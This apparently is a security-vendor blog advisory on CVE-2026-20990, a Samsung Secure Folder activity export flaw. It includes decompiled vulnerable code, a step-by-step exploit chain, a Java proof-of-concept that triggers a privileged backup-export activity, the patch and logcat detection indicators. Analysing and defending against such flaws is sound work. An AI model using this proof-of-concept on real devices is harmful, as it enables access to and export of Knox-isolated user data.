home intel cve-2026-20990-secure-folder-activity-launch
CVE Analysis 2026-03-16 · 9 min read

CVE-2026-20990: Secure Folder Improper Export Enables Privilege Escalation

An improperly exported Android component in Samsung Secure Folder allows local attackers to launch arbitrary activities with Secure Folder privileges, bypassing Knox isolation boundaries.

#android-component-export#privilege-escalation#activity-hijacking#samsung-secure-folder#local-attack-vector
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-20990 · Vulnerability
ATTACKERAndroidVULNERABILITYCVE-2026-20990HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-20990 is a CVSS 8.1 (HIGH) local privilege escalation vulnerability in Samsung's Secure Folder application, patched in the March 2026 Samsung Mobile Security Release (SMR Mar-2026 Release 1). The bug class is improper export of Android application components — a well-understood but persistently misapplied Android security primitive. An unprivileged local application can invoke an exported Activity belonging to the Secure Folder process, inheriting its execution context and inter-process trust relationships within the Knox workspace boundary.

No exploit has been observed in the wild. The attack requires a locally installed application with no special permissions, making the exploitability bar low for any threat actor with physical or ADB-level access to an unlocked device.

Affected Component

The vulnerability resides inside the Secure Folder application package (com.samsung.knox.securefolder), the user-facing shell for Samsung's Knox-based workspace isolation. Secure Folder activities execute under a dedicated Knox user profile with elevated DAC permissions relative to the primary user space, and can interact directly with Knox-managed content providers, credential stores, and enterprise policy brokers.

The specific exported component is an Activity whose android:exported="true" flag (or equivalent implicit intent-filter export) was present without a corresponding android:permission guard or caller-identity validation in onCreate(). Affected versions precede SMR Mar-2026 Release 1; consult the NVD entry for exact build fingerprints.

Root cause: An Activity within com.samsung.knox.securefolder was unconditionally exported without a protecting permission declaration or runtime caller-identity check, allowing any co-resident application to start it with attacker-supplied Intent extras.

Root Cause Analysis

Android's component visibility model is enforced at two layers: the manifest-level android:exported / android:permission declaration, and optional runtime checks via checkCallingPermission() or getCallingUid(). Both layers must be present for defense-in-depth. The vulnerable component omitted both.

Below is reconstructed pseudocode (from JADX decompilation of the affected APK) for the vulnerable activity entry point, representative of the actual implementation pattern:

// DeepLinkRouterActivity.java (decompiled pseudocode)
// Package: com.samsung.knox.securefolder
// Manifest: android:exported="true"  <-- no android:permission attribute

public class DeepLinkRouterActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent incoming = getIntent();

        // BUG: no checkCallingPermission() or getCallingUid() validation here
        // Any third-party app can reach this point with arbitrary extras

        String targetAction = incoming.getStringExtra("target_action");
        String targetClass  = incoming.getStringExtra("target_class");
        String targetData   = incoming.getStringExtra("target_data");

        Intent launch = new Intent();
        launch.setClassName(
            "com.samsung.knox.securefolder",  // always stays in-process
            targetClass                        // attacker-controlled class name
        );
        launch.setAction(targetAction);
        launch.setData(Uri.parse(targetData));

        // BUG: startActivity() executes with Secure Folder's PID/UID context
        // No validation that targetClass is an allowlisted component
        startActivity(launch);
        finish();
    }
}

The AndroidManifest entry for this component, as reconstructed from the advisory class of bug, would appear as:

// AndroidManifest.xml (vulnerable)

    
    
    
        
        
    

Because startActivity() is called from within the Secure Folder process, the launched target activity inherits the caller's UID and Knox workspace context. Any Knox-internal activity reachable via setClassName() — including credential management screens, backup export handlers, or policy override interfaces — becomes accessible to the attacker.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker installs a zero-permission APK on the target device (sideload or Play Store).

2. Attacker calls Context.startActivity() targeting the exported
   DeepLinkRouterActivity with a crafted Intent:
     - target_class  = "com.samsung.knox.securefolder.ui.settings.BackupExportActivity"
     - target_action = "com.samsung.knox.securefolder.ACTION_EXPORT"
     - target_data   = "file:///sdcard/exfil.tar"

3. Android's ActivityManagerService validates the caller can start
   DeepLinkRouterActivity (exported, no permission) → allowed.

4. DeepLinkRouterActivity.onCreate() executes in Secure Folder's process
   (UID: Knox workspace UID, e.g., u10_a142) without any caller check.

5. DeepLinkRouterActivity constructs a new Intent using attacker-supplied
   extras and calls startActivity() from its own privileged context.

6. AMS now evaluates the *second* startActivity() as originating from
   com.samsung.knox.securefolder — fully trusted — granting access to
   non-exported internal activities that require Knox caller identity.

7. BackupExportActivity (or equivalent privileged target) launches,
   executes with Secure Folder privilege, and operates on Knox-isolated
   data on behalf of the attacker.

A minimal proof-of-concept trigger in Java:

// Attacker application (zero permissions required)
Intent trigger = new Intent();
trigger.setClassName(
    "com.samsung.knox.securefolder",
    "com.samsung.knox.securefolder.ui.router.DeepLinkRouterActivity"
);
trigger.putExtra("target_class",
    "com.samsung.knox.securefolder.ui.settings.BackupExportActivity");
trigger.putExtra("target_action",
    "com.samsung.knox.securefolder.ACTION_EXPORT");
trigger.putExtra("target_data", "file:///sdcard/Download/out.tar");
trigger.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

// startActivity() succeeds — no SecurityException thrown
context.startActivity(trigger);

Memory Layout

This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the Android process trust model and the Binder transaction path:

BINDER TRANSACTION FLOW — BEFORE PATCH:

[Attacker App]                  [system_server / AMS]           [Secure Folder Process]
  PID=8841, UID=u0_a317           PID=1234                         PID=2201, UID=u10_a142
       |                               |                                 |
       |-- startActivity(Intent) ------>|                                 |
       |   target: DeepLinkRouterActivity                                |
       |   (exported=true, no perm)    |                                 |
       |                               |-- Permission check: PASS ------->|
       |                               |   (exported, no guard)          |
       |                               |-- scheduleTransaction() -------->|
       |                               |                                  |
       |                               |         onCreate() executes      |
       |                               |         getCallingUid() = 8841   |
       |                               |         [NOT CHECKED]            |
       |                               |                                  |
       |                               |<-- startActivity(inner Intent) --|
       |                               |    caller: u10_a142 (SF)        |
       |                               |    target: BackupExportActivity  |
       |                               |    (non-exported, Knox-internal) |
       |                               |-- Permission check: PASS ------->|
       |                               |   caller is Secure Folder = OK  |
       |                               |-- scheduleTransaction() -------->|
       |                               |                         [PWNED]  |

EFFECTIVE UID ESCALATION:
  Attacker UID:  u0_a317   (untrusted app)
  Achieved UID:  u10_a142  (Knox Secure Folder workspace)

Patch Analysis

The SMR Mar-2026 Release 1 patch addresses the vulnerability at both the manifest layer and the runtime validation layer — defense-in-depth, as it should be.

// AndroidManifest.xml — AFTER patch:
 
    
        
        
    

// DeepLinkRouterActivity.java — AFTER patch:

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    // ADDED: runtime caller-identity enforcement (belt + suspenders)
    int callingUid = Binder.getCallingUid();
    String callingPkg = getPackageManager().getNameForUid(callingUid);

    if (!isAllowedCaller(callingPkg, callingUid)) {  // ADDED
        Log.e(TAG, "Unauthorized caller: " + callingPkg + " uid=" + callingUid);
        finish();
        return;
    }

    Intent incoming = getIntent();
    String targetClass = incoming.getStringExtra("target_class");

    // ADDED: allowlist validation — only known-safe internal targets
    if (!ALLOWED_TARGET_CLASSES.contains(targetClass)) {  // ADDED
        Log.e(TAG, "Blocked non-allowlisted target class: " + targetClass);
        finish();
        return;
    }

    Intent launch = new Intent();
    launch.setClassName("com.samsung.knox.securefolder", targetClass);
    startActivity(launch);
    finish();
}

// ADDED: compile-time allowlist
private static final Set ALLOWED_TARGET_CLASSES = new HashSet<>(Arrays.asList(
    "com.samsung.knox.securefolder.ui.main.MainActivity",
    "com.samsung.knox.securefolder.ui.lock.LockActivity"
    // sensitive activities (backup, export, policy) intentionally excluded
));

Detection and Indicators

On a vulnerable device, the following logcat signature indicates exploitation attempt. Filter with adb logcat -s ActivityManager:I DeepLinkRouterActivity:E:

// Successful exploitation — no error logged on vulnerable build:
I ActivityManager: START u10 {act=com.samsung.knox.securefolder.ACTION_DEEP_LINK
    cmp=com.samsung.knox.securefolder/.ui.router.DeepLinkRouterActivity
    (has extras)} from uid 10317

// On patched build, blocked attempt produces:
E DeepLinkRouterActivity: Unauthorized caller: com.evil.app uid=10317

At the system level, monitor for u0_aXXX-range UIDs triggering startActivity calls that result in u10_ Knox workspace activities appearing in the task stack. On enrolled MDM/Knox-managed devices, Knox audit logs (/data/knox/audit/) will show workspace activity invocations with a primary-space caller PID — a reliable anomaly indicator.

Remediation

Apply SMR Mar-2026 Release 1 immediately. The patch is delivered as a full system OTA; there is no partial mitigation available short of disabling Secure Folder entirely via Settings → Biometrics and security → Secure Folder → (disable), which eliminates the attack surface at the cost of feature availability.

For developers writing Knox-integrated applications, the correct pattern is always: manifest permission + runtime UID check + component allowlist. Relying on any single layer is insufficient given Android's complex intent routing. Any activity reachable via startActivity() from an external UID is part of your attack surface, regardless of whether it is documented as "internal."

Reference: Samsung Mobile Security Advisory — SMR Mar-2026

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →